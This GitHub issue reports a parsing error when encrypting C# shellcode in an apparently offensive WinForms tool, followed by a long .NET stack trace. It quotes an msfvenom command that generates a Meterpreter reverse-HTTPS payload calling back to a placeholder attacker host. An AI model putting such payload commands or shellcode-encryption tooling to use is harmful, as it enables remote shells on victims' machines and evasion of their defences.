-
Notifications
You must be signed in to change notification settings - Fork 227
Error when trying to encrypt #8
Description
I followed your instructions but when I am trying to encrypt the csharp shellcode from "msfvenom windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=XXXX -f csharp" I am getting an error.
Error Output:
System.FormatException: Could not find any recognizable digits. at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags, System.Int32& currPos) [0x00165] in :0
at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags) [0x00002] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at System.Convert.ToByte (System.String value, System.Int32 fromBase) [0x00037] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at WindowsFormsApp1.Form1.hexStrToByteArray (System.String[] hexStr) [0x00028] in <b86e1328ce6f483b80c96d3c16192de3>:0 at WindowsFormsApp1.Form1.buton1_click (System.Object sender, System.EventArgs e) [0x00075] in <b86e1328ce6f483b80c96d3c16192de3>:0 at System.Windows.Forms.Control.OnClick (System.EventArgs e) [0x0001c] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnClick (System.EventArgs e) [0x00024] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00081] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WmLButtonUp (System.Windows.Forms.Message& m) [0x0007e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WndProc (System.Windows.Forms.Message& m) [0x0016f] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.WndProc (System.Windows.Forms.Message& m) [0x0004e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.WndProc (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlWindowTarget.OnMessage (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlNativeWindow.WndProc (System.Windows.Forms.Message& m) [0x0000b] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.NativeWindow.WndProc (System.IntPtr hWnd, System.Windows.Forms.Msg msg, System.IntPtr wParam, System.IntPtr lParam) [0x0008e] in <0e1823914d7643eeaf1207febb083a4a>:0